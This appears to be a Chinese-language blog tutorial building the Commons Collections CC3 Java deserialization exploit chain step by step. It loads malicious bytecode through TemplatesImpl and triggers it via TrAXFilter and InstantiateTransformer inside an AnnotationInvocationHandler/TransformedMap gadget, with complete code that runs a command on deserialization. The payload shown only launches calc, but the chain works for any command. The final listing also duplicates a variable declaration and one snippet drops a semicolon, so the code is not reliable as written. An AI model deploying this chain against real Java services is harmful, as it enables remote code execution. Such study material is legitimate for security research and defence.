CC链3

前面介绍了CC1和CC6,这两条链子虽然前面的入口类不同

  • CC1入口类是AnnotationInvocationHandler
  • CC6入口类是HashMap
    但是其触发恶意代码的方式是相同的,都是InvokerTransformer.transform()触发Runtime.getRuntime().exec()实现命令执行。

而在很多情况下,Runtime.getRuntime().exec()方式会被服务器所禁止(代码黑名单),导致最终利用链无法执行。

CC链3其实是在调用Runtime.exec()的另一种方式,通过类加载的形式动态加载恶意类来实现自动执行恶意类代码的

CC3链中使用的动态类加载机制

通常情况下,实战中使用动态类加载机制加载恶意类的方式有以下几种:

  • URLClassLoader 任意类加载
  • ClassLoader.defineClass 字节码加载任意类(私有方法)
  • Unsafe.defineClass 字节码加载(公有方法),但类不能直接生成,Spring中可以直接生成

而CC3链则是利用的ClassLoader.defineClass 字节码加载任意类(私有方法)

ClassLoader.defineClass 字节码加载任意类方式为:

1
2
3
4
5
6
7
8
9
10
11
// 获取一个classLoader对象
ClassLoader cl = ClassLoader.getSystemClassLoader();
// 通过反射获取到ClassLoad类中的defineClass方法对象
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
// Test类的字节码
byte[] code = Files.readAllBytes(Paths.get("Test.class文件路径"));
// 相当于执行了 cl.defineClass("Test",code,0,code.length),即通过字节码创建了一个名为Test的类
Class c = (Class) defineClassMethod.invoke(cl,"Test",code,0,code.length);
// 对Test类实例化
Test testObj = c.newInstance();

TemplatesImpl


通过defineClass()方法可以加载一个类字节码,生成一个类对象。如果类字节码中存在恶意的内容,则会执行。

接下来寻找一下哪里调用了defineClass()方法,和其他利用链一样,最终需要找到readObject()。

在defineTransletClasses()中看到了调用defineClass()方法

但由于私有的,所以再查找谁调用了defineTransletClasses()

在下面的getTransletInstance()方法找到了调用

但依旧私有,继续找

最后在newTransformer()中找到了,并且也是public

此时的调用链为:

1
2
3
4
5
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass

构造TemplatesImpl类中的调用链的payload

接下来我们构造一下当前的调用链的payload,使其调用TemplatesImpl.newTransformer()时,加载恶意类,触发恶意代码。

通过刚才的分析,当调用到newTransformer()方法时,会触发一系列的调用,当然,我们要解决中间的一些“阻碍”。

首先创建一个TemplatesImpl对象:

1
TemplatesImpl templates = new TemplatesImpl();

接下来调用newTransformer()方法:

1
templates.newTransformer();

此时运行代码,并不会执行恶意代码,因为我们连恶意类字节码还没呢!此时只是调用了newTransformer()方法而已,调用链并不能成功执行下去。

但是我们开头和结尾已经有了,接下来需要在中间将参数、限制条件等解决掉。

假如现在我们已经执行了newTransformer()方法,那么到底是什么内容限制了调用链的成功执行呢?

首先调用newTransformer()方法后,我们通过调用链得知,接下来需要调用TemplatesImpl.getTransletInstance()方法,而在newTransformer()方法内部可以发现,并没有什么可以阻碍代码执行到getTransletInstance()方法

接下来,是需要调用TemplatesImpl.defineTransletClasses()方法,进入getTransletInstance()方法看一下:

从这里可以发现,这里有两道坎,一个是_name,一个是_class,我们需要满足:

  • _name 不能为null
  • _class必须是null

因为这些属性默认就是null,所以我们需要给_name赋值,使其不是null。

通过查看_name属性在该类中的赋值情况,发现并不好赋值,所以接下来我们通过反射,给_name属性赋值

1
private String _name = null;
1
2
3
4
Class templatesClass = templates.getClass();
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");

此时运行,还是执行不成功。因为后面还是有别的限制的,继续分析

现在能成功调用defineTransletClasses()方法了,根据调用链得知,接下来需要调用TransletClassLoader.defineClass()方法。

进入到defineTransletClasses()方法内部:

发现,这里有一个限制,就是_bytecodes属性,不能为空,否则报异常。

看看_bytecodes属性,发现是一个二维数组:

1
private byte[][] _bytecodes = null;

并且在调用defineClass()方法的位置,_bytecodes[i]会当做defineClass()方法的参数传入。
一步步进入defineClass()方法后会发现,最后调用了ClassLoader.defineClass(),当然这里就是前面所说的调用链。

这里我们关注_bytecodes[i]参数,最终会成为ClassLoader.defineClass()方法的byte[] b,也就是说最终通过defineClass方式加载的类字节码。

这里先准备个.class的恶意文件:
创建恶意类,并将其编译成class文件

1
2
3
4
5
6
7
8
9
public class Test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

准备好.class文件之后,接下来给_bytecodes属性赋值,注意它是一个二维数组,传入defineClass()方法的是_bytecodes[i],所以我们加载的.class文件的字节码内容,应该放在_bytecodes[i]处。

1
2
3
4
5
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] codes = {code}
_bytecodesField.set(templates,codes);

defineTransletClasses()方法中用到的_tfactory也不能为null
查看一下_tfactory的类型:

1
private transient TransformerFactoryImpl _tfactory = null;

发现是TransformerFactoryImpl类型,但是被transient修饰,也就是说不能进行序列化。
但是在重写的readObject()方法中存在_tfactory赋值:

意味着,即使我们没有将_tfactory序列化进去,但是执行readObject()即反序列的时候,同样会给_tfactory赋值!这样就不用担心_tfactory为null了。
给_tfactory赋值:

1
2
3
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

但这样运行后异常报错

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Test {
public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:\\java-test\\TemplatesImpl\\TemplatesImpl\\target\\classes\\com\\javatest\\Pay.class"));
byte[][] codes = {code};

setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",codes);
setValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();
}
}


直接跳转到422行,发现在defineTransletClasses()方法内报错的

所以对其进行调试,查找哪里出了问题

关注此处代码

1
2
3
4
5
6
7
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
} //_transletIndex = -1
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}

由于_transletIndex = -1 所以跳入下面的循环if (_transletIndex < 0) 就会进行异常报错
查看第一个判断语句superClass.getName().equals(ABSTRACT_TRANSLET)中的ABSTRACT_TRANSLET

发现是AbstractTranslet类

从for循环来看通将传入的字节码换成Java类,并通过getSuperclass()获取其父类
在进入if语句对父类名字ABSTRACT_TRANSLET进行比较

1
2
3
4
5
6
7
8
9
10
11
12
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

所以我们需要将恶意构造的类继承AbstractTranslet类,但AbstractTranslet类是抽象类,并且也继承了Translet类,且AbstractTranslet类重写了Translet类的很多方法,但有两个方法未重写

所以我们在恶意构造类中也要重写Translet类中的方法

1
2
3
4
5
6
7
8
9
10
11
public abstract void transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler) throws TransletException;

public final void transform(DOM document, SerializationHandler handler)
throws TransletException {
try {
transform(document, document.getIterator(), handler);
} finally {
_keyIndexes = null;
}
}

重写构造恶意加载类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Pay extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}

Test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Test {
public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:\\java-test\\TemplatesImpl\\TemplatesImpl\\target\\classes\\com\\javatest\\Pay.class"));
byte[][] codes = {code};

setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",codes);
setValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();
}
}

成功直接恶意代码

CC1与TemplatesImpl的结合

由于是在调用Runtime.exec()的另一种方式,通过类加载的形式动态加载恶意类来实现自动执行恶意类代码的

InvokerTransformer依旧可以使用

1
2
3
4
5
Transformer[] transformerArray=new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

只需要改变这里,其他的全部不变就行,因为我们只是改变了调用Runtime.exec()的方法

CC6与同理

TrAXFilter

通过对TemplatesImpl中的newTransformer()查找用法

通过分析找到了最有可能的地方TrAXFilter

InstantiateTransformer

CC3的作者并未使用InvokerTransformer,而是使用了新的类InstantiateTransformer

再transfom()中判断传入来的是不是是不是class类型,然后再通过反射获取指定参数类型的构造器,再调其构造函数

1
2
InstantiateTransformer instantiateTransformer =new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

将其套入transform[]中

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        byte[] code = Files.readAllBytes(Paths.get("E:\\java-test\\TemplatesImpl\\TemplatesImpl\\target\\classes\\com\\javatest\\Pay.class"));
        byte[][] codes = {code};

        setValue(templates,"_name","aaa");
        setValue(templates,"_bytecodes",codes);
        setValue(templates,"_tfactory",new TransformerFactoryImpl());
//        templates.newTransformer();
        Transformer[] transformerArray=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
        };
        Transformer[] transformerArray=new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

        Map<Object, Object> map = new HashMap<>();
        map.put("value", "又是一年秋风萧瑟");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annotationConstructor.setAccessible(true);
        Object obj = annotationConstructor.newInstance(Target.class, transformedMap);

        //serialize(obj);
        unserialize("ser1.bin");
    }

    public static void setValue(Object object, String fieldName, Object value) throws Exception {
        Class obj = object.getClass();
        Field field = obj.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,value);
    }

    //序列化方法
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
        oos.writeObject(object);
    }

    //反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

成功调用calc